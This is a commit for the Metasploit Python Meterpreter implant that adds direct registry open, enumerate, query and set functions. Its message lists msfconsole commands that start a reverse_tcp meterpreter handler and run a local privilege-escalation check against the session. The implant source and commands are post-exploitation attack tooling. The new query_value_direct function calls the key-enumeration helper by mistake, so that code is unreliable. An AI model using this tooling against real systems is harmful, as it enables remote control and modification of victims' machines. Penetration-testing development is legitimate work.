add support for direct reg access to pymeterpreter

When testing this, I found that the python meterpreter hangs running the
following, with or without these changes.

```
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set PythonMeterpreterDebug true
set lhost 192.168.43.1
exploit -j
sleep 5
use exploit/windows/local/trusted_service_path
set SESSION 1
check
```

This turned out to be that pymeterpreter ate all the rest of the data in the
recv socket by consuming 4k unconditionally. This would only be exposed if
there were multiple simultaneous requests so the recv buffer filled beyond a
single request, e.g. when using the registry enumeration functions.

data/meterpreter/ext_server_stdapi.py

@@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
 	channel.shutdown(how)
 	return ERROR_SUCCESS, response
 
+def _wreg_close_key(hkey):
+	ctypes.windll.advapi32.RegCloseKey(hkey)
+
 @meterpreter.register_function_windll
 def stdapi_registry_close_key(request, response):
-	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
-	result = ctypes.windll.advapi32.RegCloseKey(hkey)
+	_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
 	return ERROR_SUCCESS, response
 
 @meterpreter.register_function_windll
@@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
 	result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
 	return result, response
 
-@meterpreter.register_function_windll
-def stdapi_registry_enum_key(request, response):
+def _wreg_enum_key(request, response, hkey):
 	ERROR_MORE_DATA = 0xea
 	ERROR_NO_MORE_ITEMS = 0x0103
-	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
 	name = (ctypes.c_char * 4096)()
 	index = 0
 	tries = 0
@@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
 	return result, response
 
 @meterpreter.register_function_windll
-def stdapi_registry_enum_value(request, response):
+def stdapi_registry_enum_key(request, response):
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
+	return _wreg_enum_key(request, response, hkey)
+
+@meterpreter.register_function_windll
+def stdapi_registry_enum_key_direct(request, response):
+	err, hkey = _wreg_open_key(request)
+	if err != ERROR_SUCCESS:
+		return err, response
+	ret = _wreg_enum_key(request, response, hkey)
+	_wreg_close_key(hkey)
+	return ret
+
+def _wreg_enum_value(request, response, hkey):
 	ERROR_MORE_DATA = 0xea
 	ERROR_NO_MORE_ITEMS = 0x0103
-	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
 	name = (ctypes.c_char * 4096)()
 	name_sz = ctypes.c_uint32()
 	index = 0
@@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
 		index += 1
 	return result, response
 
+@meterpreter.register_function_windll
+def stdapi_registry_enum_value(request, response):
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
+	return _wreg_enum_value(request, response, hkey)
+
+@meterpreter.register_function_windll
+def stdapi_registry_enum_value_direct(request, response):
+	err, hkey = _wreg_open_key(request)
+	if err != ERROR_SUCCESS:
+		return err, response
+	ret = _wreg_enum_value(request, response, hkey)
+	_wreg_close_key(hkey)
+	return ret
+
 @meterpreter.register_function_windll
 def stdapi_registry_load_key(request, response):
 	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
 	result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
 	return result, response
 
-@meterpreter.register_function_windll
-def stdapi_registry_open_key(request, response):
+def _wreg_open_key(request):
 	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
 	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
 	base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
 	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
 	handle_id = ctypes.c_void_p()
 	if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
-		return error_result_windows(), response
-	response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
+		return error_result_windows(), 0
+	return ERROR_SUCCESS, handle_id.value
+
+@meterpreter.register_function_windll
+def stdapi_registry_open_key(request, response):
+	err, hkey = _wreg_open_key(request)
+	if err != ERROR_SUCCESS:
+		return err, response
+	response += tlv_pack(TLV_TYPE_HKEY, hkey)
 	return ERROR_SUCCESS, response
 
 @meterpreter.register_function_windll
@@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
 	response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
 	return ERROR_SUCCESS, response
 
-@meterpreter.register_function_windll
-def stdapi_registry_query_value(request, response):
-	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
+def _query_value(request, response, hkey):
 	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
 	value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
 	value_type = ctypes.c_uint32()
@@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
 	return error_result_windows(), response
 
 @meterpreter.register_function_windll
-def stdapi_registry_set_value(request, response):
+def stdapi_registry_query_value(request, response):
 	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
+	return _query_value(request, response, hkey)
+
+@meterpreter.register_function_windll
+def stdapi_registry_query_value_direct(request, response):
+	err, hkey = _wreg_open_key(request)
+	if err != ERROR_SUCCESS:
+		return err, response
+	ret = _wreg_enum_key(request, response, hkey)
+	_wreg_close_key(hkey)
+	return ret
+
+def _set_value(request, response, hkey):
 	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
 	value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
 	value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
 	result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
 	return result, response
 
+@meterpreter.register_function_windll
+def stdapi_registry_set_value(request, response):
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
+	return _set_value(request, response, hkey)
+
+@meterpreter.register_function_windll
+def stdapi_registry_set_value_direct(request, response):
+	err, hkey = _wreg_open_key(request)
+	if err != ERROR_SUCCESS:
+		return err, response
+	ret = _set_value(request, response, hkey)
+	_wreg_close_key(hkey)
+	return ret
+
 @meterpreter.register_function_windll
 def stdapi_registry_unload_key(request, response):
 	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']